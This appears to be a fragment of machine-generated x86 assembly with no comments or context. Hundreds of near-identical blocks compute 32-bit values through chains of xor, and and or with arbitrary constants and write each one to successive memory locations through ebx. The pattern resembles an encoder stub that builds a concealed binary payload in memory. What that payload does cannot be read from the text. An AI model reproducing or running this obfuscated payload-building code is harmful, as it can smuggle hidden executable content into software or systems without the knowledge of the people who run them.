xor eax, 0x5edf982e
and eax, 0x80010c92
or eax, 0x35408048
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3ae0ed75
or eax, 0x2af4e43f
and eax, 0xa8d0a085
or eax, 0x40021040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x410b2d8a
and eax, 0x40020080
or eax, 0x18dcc722
mov dword [ebx], eax
add ebx, ecx
or eax, 0x56705dd3
or eax, 0x8343e79
and eax, 0x18e29991
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x516ff86f
xor eax, 0x1ffbf88d
and eax, 0x100172
or eax, 0x216b160c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5e7820d
and eax, 0x21020c
or eax, 0x1c984140
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5245a1e3
or eax, 0x21f8fde7
and eax, 0x20c1f425
or eax, 0x8a020000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4f3be5e7
xor eax, 0x6cb0960a
and eax, 0x834b21c0
or eax, 0x40b01410
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2c20268c
and eax, 0xef4b04d4
or eax, 0x4c022
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3c500850
and eax, 0x92004424
or eax, 0xe03340
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x682952b4
and eax, 0xaa080490
or eax, 0x30880d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x575858b4
and eax, 0x6a34204e
and eax, 0xa300000
or eax, 0x18ce6c1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x694be4e
and eax, 0x1466394e
and eax, 0x201006
or eax, 0x9adea621
mov dword [ebx], eax
add ebx, ecx
and eax, 0x25d25caa
and eax, 0xc21002
or eax, 0x79090bdc
mov dword [ebx], eax
add ebx, ecx
and eax, 0x267e579b
and eax, 0x61783e80
and eax, 0x20081000
or eax, 0x96148c1c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6502bdba
or eax, 0x6f71efa1
and eax, 0x6c71acb1
or eax, 0x90880042
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1ade1349
and eax, 0x64249498
or eax, 0x18d84045
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2376f41e
or eax, 0x4b410b4d
and eax, 0x42421256
or eax, 0x20
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1d25082c
and eax, 0x1e261a52
or eax, 0xa0980505
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5d86a67a
or eax, 0x20bd158b
and eax, 0x47060494
or eax, 0x400000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x23ea31e
and eax, 0x1ed4daae
and eax, 0x40000
or eax, 0xb5b33313
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x57cf36e2
and eax, 0x40500511
or eax, 0x1104580c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2e280ef4
and eax, 0
or eax, 0x98928001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x75c18e72
and eax, 0x8120a30
or eax, 0x20c3008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x49b5c9f
and eax, 0x20808
or eax, 0x2f054742
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6ace5303
xor eax, 0x184a7738
and eax, 0x2004242a
or eax, 0x45318185
mov dword [ebx], eax
add ebx, ecx
and eax, 0x71721d14
or eax, 0x3baf1be
and eax, 0x61107024
or eax, 0x90400041
mov dword [ebx], eax
add ebx, ecx
and eax, 0x75b34dbd
and eax, 0x7fcc68f2
and eax, 0x51004020
or eax, 0x889b9bd1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x439111ea
and eax, 0x890988d8
or eax, 0x40400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6f3002be
and eax, 0x34b61423
and eax, 0x20200002
or eax, 0x8012389
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1dca4a57
xor eax, 0x3c82fd9b
and eax, 0x681404
or eax, 0x6a106929
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4fb9a110
and eax, 0x6ec8c020
or eax, 0x80020040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x29aa4b04
and eax, 0xc7208a60
or eax, 0x208f309a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x479ee530
and eax, 0x45040000
or eax, 0xb0614fcf
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3a83258f
or eax, 0x7d98cc2f
and eax, 0xd1f0a425
or eax, 0x10180
mov dword [ebx], eax
add ebx, ecx
and eax, 0x21ea63d4
and eax, 0xc02000
or eax, 0x98185070
mov dword [ebx], eax
add ebx, ecx
and eax, 0xad4903f
and eax, 0x5d9946fd
and eax, 0x8800010
or eax, 0x20bdbca
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2c3aa5e0
or eax, 0x54473434
and eax, 0x26240c0e
or eax, 0x8088080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x22b5991f
xor eax, 0x392d6f12
and eax, 0x7002205
or eax, 0x60620022
mov dword [ebx], eax
add ebx, ecx
and eax, 0x27f04f89
and eax, 0x25600201
or eax, 0xd09f7d74
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5aa9530b
or eax, 0x2ded101
and eax, 0x80c4c551
or eax, 0x50010080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6f55340b
and eax, 0
or eax, 0x9ab0b098
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xc8c45b1
or eax, 0x2c4a461a
and eax, 0xe5a520a
or eax, 0x1010800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2543245c
and eax, 0x24080e0e
or eax, 0x848021
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x12d867d3
and eax, 0x409c8480
and eax, 0
or eax, 0x73232664
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7d0f7fc5
xor eax, 0x56075673
and eax, 0x582806d2
or eax, 0x84547020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x75d092c9
and eax, 0x8180c41a
or eax, 0x24313c4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3c356c1d
and eax, 0x3cb49082
or eax, 0x80404
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6edb7c93
and eax, 0x6cda7c22
and eax, 0x40420000
or eax, 0x2001236
mov dword [ebx], eax
add ebx, ecx
and eax, 0x11ccb9ad
and eax, 0x3008296e
and eax, 4
or eax, 0xbebe1f53
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1d381900
and eax, 0x7060414
or eax, 0x40400080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2473c6b6
xor eax, 0x3b827d3e
and eax, 0x35803102
or eax, 0x80370211
mov dword [ebx], eax
add ebx, ecx
and eax, 0x57d9f415
and eax, 0x492aff47
and eax, 0x1001001
or eax, 0x50544d1c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x79afc931
and eax, 0x8928000
or eax, 0x90000001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x68e9c5f9
and eax, 0x8000000
or eax, 0x21e3a38
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1e78092a
and eax, 0x2cd5744b
and eax, 0x4040002
or eax, 0x2b034f48
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6a2c989b
or eax, 0x7de861bb
and eax, 0x652421ab
or eax, 0x118404
mov dword [ebx], eax
add ebx, ecx
or eax, 0x139d2450
and eax, 0x71102065
or eax, 0x80405000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5e1d006
and eax, 0xd191d061
or eax, 0x80a0b90
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x57f106fd
or eax, 0x389df35a
and eax, 0x880d8c58
or eax, 0x1000080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x141e52f
xor eax, 0x65924c03
and eax, 0x28002180
or eax, 0x21020b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7449ca14
and eax, 0x4868690d
or eax, 0x22101420
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3a4943f0
xor eax, 0x39b20ed5
and eax, 0x68820000
or eax, 0x8648c060
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4fe771d6
or eax, 0x51d4cfa6
and eax, 0xe1adbab2
or eax, 0x6020048
mov dword [ebx], eax
add ebx, ecx
and eax, 0x613a4f0
and eax, 0x40100c0
or eax, 0xf1644f0f
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6d62867
and eax, 0xd1b125a0
or eax, 0x408005
mov dword [ebx], eax
add ebx, ecx
and eax, 0x9bf5a08
or eax, 0x3439b56b
and eax, 0x10983060
or eax, 0x88404010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1ad0e16d
and eax, 0x2089118
or eax, 0x8834ac2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2d6c125c
or eax, 0x2c3b5b8d
and eax, 0x2e2c888e
or eax, 0x400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x25bcd88b
and eax, 0x27200007
or eax, 0x40422220
mov dword [ebx], eax
add ebx, ecx
and eax, 0x38134eca
xor eax, 0x7946a996
and eax, 0x51442b14
or eax, 0xa4bb5461
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7407e24f
or eax, 0x18e8873f
and eax, 0xd0c5c551
or eax, 0x80
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x29d10e7d
and eax, 0x105845b4
and eax, 0x10100080
or eax, 0x8aa0b018
mov dword [ebx], eax
add ebx, ecx
and eax, 0x47c16718
or eax, 0x596fa0b
and eax, 0x7125a0a
or eax, 0x8490000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5a2678a5
or eax, 0x41d0877f
and eax, 0x808e2f
or eax, 0x240c0000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x690bc278
and eax, 0x776a4a1b
and eax, 0x41020000
or eax, 0x32212664
mov dword [ebx], eax
add ebx, ecx
and eax, 0x128b4a0a
and eax, 0x10000200
or eax, 0xcc7c74f2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6292318f
xor eax, 0x2703a93b
and eax, 0x81c1d6c4
or eax, 0x202011a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4116614b
and eax, 2
or eax, 0x3cbc9484
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2d446a5e
and eax, 0x502d2043
and eax, 2
or eax, 0x42421234
mov dword [ebx], eax
add ebx, ecx
and eax, 0x62c93ac0
xor eax, 0x422d7fda
and eax, 0x2c0d52
or eax, 0xbe921205
mov dword [ebx], eax
add ebx, ecx
and eax, 0x15c8a765
and eax, 0x4000404
or eax, 0x43460090
mov dword [ebx], eax
add ebx, ecx
or eax, 0x24d81c52
and eax, 0x49dcd025
and eax, 0x1941000
or eax, 0xb4232313
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x73ecf050
xor eax, 0x3540ace6
and eax, 0x51104d05
or eax, 0x441018
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3bfb6123
or eax, 0xef6d764
and eax, 0x18928001
or eax, 0x80000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xe147b8e
and eax, 0x2063a08
or eax, 0x8180030
mov dword [ebx], eax
add ebx, ecx
and eax, 0x547b5000
and eax, 0x20000
or eax, 0x2f054f4a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x66f36d84
and eax, 0x4134208e
or eax, 0x24018521
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xc5c42a5
and eax, 0x61406000
or eax, 0x90101065
mov dword [ebx], eax
add ebx, ecx
or eax, 0x11aad4f1
and eax, 0xd19ad0f1
or eax, 0x8010b00
mov dword [ebx], eax
add ebx, ecx
and eax, 0x60d9e12
or eax, 0xd3a04a3
and eax, 0x9098c90
or eax, 0x80040048
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5740bbc4
xor eax, 0xc8cd6bc
and eax, 0x12180
or eax, 0x2820020b
mov dword [ebx], eax
add ebx, ecx
or eax, 0x16569981
xor eax, 0x12e8a003
and eax, 0x28181908
or eax, 0x42606425
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7c47eb78
and eax, 0x1784122a
and eax, 0x20
or eax, 0xeecac040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3c054613
xor eax, 0x7e91d59a
and eax, 0xa40e12e8
or eax, 0x43a1a812
mov dword [ebx], eax
add ebx, ecx
or eax, 0x84fcbc5
and eax, 0x1697352e
and eax, 0x405010e
or eax, 0xf1604ec1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5f6b4e46
and eax, 0x80000181
or eax, 0x51f1a424
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xf73c7cc
or eax, 0x7f5f37b9
and eax, 0x98d87070
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1964f40a
and eax, 0x50dd4540
and eax, 0x880040
or eax, 0xa03db9a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x41859fe7
xor eax, 0xd87512e
and eax, 0xc04888c
or eax, 0x22280402
mov dword [ebx], eax
add ebx, ecx
and eax, 0x41511c13
and eax, 2
or eax, 0x67622225
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3ca85684
or eax, 0x51c5484a
and eax, 0x75ef7e65
or eax, 0x80100110
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1bff51f9
and eax, 0x477eee1b
and eax, 0x40000400
or eax, 0x90c5c1d1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x788c6cf7
and eax, 0x9880a090
or eax, 0x2301008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4281f98b
and eax, 0x8114802
or eax, 0x74a1208
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x153c4a76
xor eax, 0x4f8c2b55
and eax, 0x4880a29
or eax, 0x20048406
mov dword [ebx], eax
add ebx, ecx
or eax, 0xfb8863c
and eax, 0x12ae3e47
and eax, 0x2200604
or eax, 0x71032060
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6bff0f3e
and eax, 0x587c2672
or eax, 0x84005080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x779a0ac2
or eax, 0x22dd59a3
and eax, 0x2c153c2
or eax, 0x8102841c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6ef1bc45
and eax, 0x2cb09486
or eax, 0x100c0000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6a2c085e
and eax, 0x7d979c05
and eax, 0x40001000
or eax, 0x2420236
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x526fb9d0
and eax, 0x102c0b46
or eax, 0xae921411
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5e41952a
and eax, 0x46460414
or eax, 0x1000080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6c337bea
and eax, 0x4020000
or eax, 0xb1b53313
mov dword [ebx], eax
add ebx, ecx
or eax, 0x758bc577
and eax, 0x4c34c1bd
and eax, 0x40144115
or eax, 0x11401c08
mov dword [ebx], eax
add ebx, ecx
or eax, 0x324940b1
xor eax, 0x178f5221
and eax, 0x920000
or eax, 0x98008001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4793ec8d
and eax, 0x120000
or eax, 0xa0c3a38
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6e6e5dd4
or eax, 0xa4c2fd6
and eax, 0xa060f42
or eax, 0x25014008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4dad591e
or eax, 0x3b3fd699
and eax, 0x2535858b
or eax, 0x40002024
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7d6d001a
and eax, 0x61000000
or eax, 0x90507065
mov dword [ebx], eax
add ebx, ecx
and eax, 0x8eadc04
or eax, 0x6d00b2e7
and eax, 0x4900d2e1
or eax, 0x909b0910
mov dword [ebx], eax
add ebx, ecx
and eax, 0xbae159b
and eax, 0x9080090
or eax, 0x80058c48
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x64cd886b
and eax, 0x28000083
or eax, 0x212308
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x67b2d0c5
and eax, 0x31c01436
and eax, 0x1004
or eax, 0x6a786d29
mov dword [ebx], eax
add ebx, ecx
and eax, 0x11c1fd99
and eax, 0x404000
or eax, 0xee8a8060
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1f97e7ae
or eax, 0x181af95d
and eax, 0xe78fbafa
or eax, 0x200000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1308ea1e
xor eax, 0x33b029e0
and eax, 0xc405430e
or eax, 0x31600cc1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2f1f6f94
xor eax, 0x8c4df95
and eax, 0xd0b0a584
or eax, 0x1410021
mov dword [ebx], eax
add ebx, ecx
or eax, 0x16d0ba88
and eax, 0x90d03020
or eax, 0x8084050
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1c0fbf02
and eax, 0x88bdb52
or eax, 0x2000088
mov dword [ebx], eax
add ebx, ecx
and eax, 0x55ef6075
and eax, 0x80000
or eax, 0x2e248c8e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4b09d0c
and eax, 0x22000002
or eax, 0x45622225
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1828a239
or eax, 0x84356a2
and eax, 0x756b7635
or eax, 0x80940940
mov dword [ebx], eax
add ebx, ecx
and eax, 0x116ba7cd
xor eax, 0x2aacd057
and eax, 0x10c5c510
or eax, 0xc00000c1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5255b23f
and eax, 0x8349227
and eax, 0x101000
or eax, 0x9aa0a098
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4a7d7ed7
and eax, 0xa101000
or eax, 0x54b4a0a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6e14c4ec
and eax, 0x240c8e2e
or eax, 0x800001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4be89667
xor eax, 0x19ee763a
and eax, 0x72022044
or eax, 0x1210620
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe4ef852
or eax, 0x1f9623b1
and eax, 0x1c1422f0
or eax, 0xc0685402
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x310ceceb
xor eax, 0x29ec293a
and eax, 0x80809302
or eax, 0x34344dc
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1d8f53fb
and eax, 0x801082
or eax, 0x3c3c8404
mov dword [ebx], eax
add ebx, ecx
or eax, 0x22568767
xor eax, 0xad64d97
and eax, 0x1230
or eax, 0x42420006
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1f20e346
and eax, 0x1c221150
or eax, 0xa29c0e07
mov dword [ebx], eax
add ebx, ecx
and eax, 0x30f7a214
and eax, 0x60014
or eax, 0x47400480
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1f3483c3
and eax, 0x5040000
or eax, 0xb0b33313
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5603cd86
and eax, 0x51145d15
or eax, 0x400008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x488e43cd
or eax, 0xd6e4f45
and eax, 0x18920001
or eax, 0x80008000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13e2c211
and eax, 0x20000
or eax, 0xa1c3a38
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6737690
xor eax, 0x4f0fe6c5
and eax, 0x1000848
or eax, 0x2e074702
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1cc090ec
xor eax, 0x55cdf94b
and eax, 0x4105a103
or eax, 0x243004ac
mov dword [ebx], eax
add ebx, ecx
and eax, 0x27bba0e1
xor eax, 0x4888893c
and eax, 0x61102005
or eax, 0x90405060
mov dword [ebx], eax
add ebx, ecx
and eax, 0x61866cc3
xor eax, 0x7df96034
and eax, 0x18990071
or eax, 0xc102db80
mov dword [ebx], eax
add ebx, ecx
or eax, 0x495e1913
and eax, 0x890d88d0
or eax, 0x408
mov dword [ebx], eax
add ebx, ecx
or eax, 0xbd02831
or eax, 0x4fb9f2a3
and eax, 0x821228b
or eax, 0x20000100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7108a3f3
or eax, 0x7151d45a
and eax, 0x68787529
or eax, 0x2000804
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x74358238
and eax, 0xe48c000
or eax, 0xe0820060
mov dword [ebx], eax
add ebx, ecx
or eax, 0x18c71f35
and eax, 0xe68f9a70
or eax, 0x120208a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x58bd2edb
and eax, 0x760cad4b
and eax, 0x34000401
or eax, 0xc1654bce
mov dword [ebx], eax
add ebx, ecx
and eax, 0x791f4846
or eax, 0x65f814db
and eax, 0x51f10485
or eax, 0x8000a120
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4e0d89ae
and eax, 0x98d82000
or eax, 0x5070
mov dword [ebx], eax
add ebx, ecx
or eax, 0x15053e5d
xor eax, 0x194594d9
and eax, 0x88ca80
or eax, 0xa03115a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x216bf9e4
and eax, 0x2a20000e
or eax, 0x40c8c80
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6b10918d
xor eax, 0x613666a0
and eax, 0x43222224
or eax, 0x24400003
mov dword [ebx], eax
add ebx, ecx
or eax, 0x34fb7ddb
and eax, 0x2ba5811e
and eax, 0x21a10114
or eax, 0xd45e7e61
mov dword [ebx], eax
add ebx, ecx
or eax, 0x62655b3
and eax, 0xd0c545d1
or eax, 0x8000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3dde873b
xor eax, 0x3c1241d4
and eax, 0x8908080
or eax, 0x92203018
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x30be2506
and eax, 0xa0a100a
or eax, 0x5514a00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x573d6c75
xor eax, 0x10a73519
and eax, 0x4880a26
or eax, 0x20048409
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2dd3261b
and eax, 0x1032024
or eax, 0x72200640
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7daa81f
or eax, 0x797b104a
and eax, 0x58783042
or eax, 0x840446b0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6f400ae
or eax, 0x2fb5a08e
and eax, 0x83c1d6de
or eax, 0x20100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4bd66921
or eax, 0x5ebe35a9
and eax, 0x1cbc9486
or eax, 0x20000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4f85cffe
and eax, 0x42001230
or eax, 0x420006
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x624052da
and eax, 0x20020044
or eax, 0x9ebc1f13
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x48658cf8
and eax, 0x46420084
or eax, 0x1040410
mov dword [ebx], eax
add ebx, ecx
or eax, 0x491cb304
and eax, 0x5163310
or eax, 0xb0a10003
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3445b802
and eax, 0x4a8f088
and eax, 0x1000
or eax, 0x51544d1d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x222994dc
xor eax, 0x1c220e68
and eax, 0x18020000
or eax, 0x80908001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3f5aa444
and eax, 0x419381c3
and eax, 0x120000
or eax, 0xa0c3a38
mov dword [ebx], eax
add ebx, ecx
or eax, 0x51d07ada
and eax, 0x39a4816e
and eax, 0x904004a
or eax, 0x26034f00
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3008ba43
and eax, 0x20000002
or eax, 0x4535a5ad
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2a8c7885
and eax, 0x4d7a8c30
and eax, 0
or eax, 0xf1507065
mov dword [ebx], eax
add ebx, ecx
or eax, 0x74df6c26
and eax, 0xd19b5861
or eax, 0x8008390
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6222d3c3
xor eax, 0x5742edf8
and eax, 0x88090408
or eax, 0x10488d0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xd606d5d
and eax, 0x274d3ac6
and eax, 0x12080
or eax, 0x2820030b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x76d1af65
and eax, 0x55a9fc25
and eax, 0x40200c24
or eax, 0x2a587109
mov dword [ebx], eax
add ebx, ecx
or eax, 0x637883da
and eax, 0x6a48c060
or eax, 0x84820000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x25b6af87
and eax, 0x454b721c
and eax, 0x450a2200
or eax, 0xa2a598fa
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x11f7b32d
and eax, 0xf44009c7
or eax, 0x1254608
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x59ca81a
xor eax, 0x3f90c36a
and eax, 0xc16124a5
or eax, 0x10908100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x435ed58b
and eax, 0x90887020
or eax, 0x8500050
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x758579e8
xor eax, 0x57da0965
and eax, 0xa8300d8
or eax, 0x8db02
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x35d8a928
or eax, 0x321979fa
and eax, 0x2e08088a
or eax, 0x248404
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5dd8ac9d
and eax, 0x11e7d834
and eax, 0x1600000
or eax, 0x66022227
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2578dbe2
and eax, 0x25600220
or eax, 0xd09f7d55
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7c0e1a18
and eax, 0x6cac3455
and eax, 0x800441
or eax, 0xd045c190
mov dword [ebx], eax
add ebx, ecx
and eax, 0x45e5884a
and eax, 0x808000
or eax, 0x9a303098
mov dword [ebx], eax
add ebx, ecx
or eax, 0x515cc9e1
and eax, 0xb585808
or eax, 0x4030202
mov dword [ebx], eax
add ebx, ecx
and eax, 0x480f03de
and eax, 0x8020a
or eax, 0x24848c25
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5fb327d3
and eax, 0x5f4f315d
and eax, 0x53032044
or eax, 0x20200620
mov dword [ebx], eax
add ebx, ecx
or eax, 0x40709ddd
or eax, 0x4e3e3bd4
and eax, 0x5c7c36f0
or eax, 0x80004002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x58ba61fc
xor eax, 0x5c2ddfa5
and eax, 0x19754
or eax, 0x83c2408a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x9729aef
and eax, 0x8b09486
or eax, 0x340c0000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x75bd4619
xor eax, 0x7effdb9b
and eax, 0x2420004
or eax, 0x40001232
mov dword [ebx], eax
add ebx, ecx
and eax, 0xf3726e4
and eax, 0x2020204
or eax, 0xbcbc1d53
mov dword [ebx], eax
add ebx, ecx
and eax, 0xcc0deee
or eax, 0x25f66420
and eax, 0x5460404
or eax, 0x42000090
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6012d3f3
or eax, 0x4319e27a
and eax, 0x25153313
or eax, 0x90a20000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7ec6b9d9
and eax, 0x41500808
or eax, 0x10045515
mov dword [ebx], eax
add ebx, ecx
or eax, 0x27a94093
and eax, 0x10900001
or eax, 0x88028000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x71398ba3
or eax, 0x6763b220
and eax, 0xa0a3a20
or eax, 0x140018
mov dword [ebx], eax
add ebx, ecx
and eax, 0x469ccfde
and eax, 0x2040a08
or eax, 0x2d034542
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6e5f65f
and eax, 0x2120a105
or eax, 0x441504aa
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x43ba3b14
and eax, 0x302c57df
and eax, 0x20001001
or eax, 0xd1506064
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xcb160e
or eax, 0x20e04727
and eax, 0xd19b4361
or eax, 0x8009890
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1488a3e1
and eax, 0x880c0
or eax, 0x89050c18
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5a17f69a
and eax, 0x801228a
or eax, 0x20200101
mov dword [ebx], eax
add ebx, ecx
and eax, 0x44a6f201
and eax, 0x202001
or eax, 0x6a585d2c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x68df230e
or eax, 0x584bb158
and eax, 0x684a8040
or eax, 0x86804020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1ad5bd9f
and eax, 0x2808000
or eax, 0xe52f3afa
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1a693d03
xor eax, 0x7ef105c3
and eax, 0x8125020a
or eax, 0x74404dc5
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x69ae6994
and eax, 0x62b2b775
and eax, 0x802401
or eax, 0xd17181a4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x16b3a83a
and eax, 0x10902020
or eax, 0x88485050
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5a926951
and eax, 0x8804050
or eax, 0x20b9b8a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6bcc0d32
and eax, 0xa080802
or eax, 0x2424848c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4019a6fb
and eax, 0x22029341
and eax, 0x22000201
or eax, 0x45622026
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4fe6a2eb
and eax, 0x65e62265
or eax, 0x90195d10
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6599fec8
and eax, 0x65894440
or eax, 0x2648191
mov dword [ebx], eax
add ebx, ecx
and eax, 0x285cbdfd
and eax, 0x20000511
or eax, 0x8832122e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5bb48402
xor eax, 0x20245189
and eax, 0x52020014
or eax, 0xc040043
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6539c75b
or eax, 0x615079e
and eax, 0x6e2f474e
or eax, 0x402820
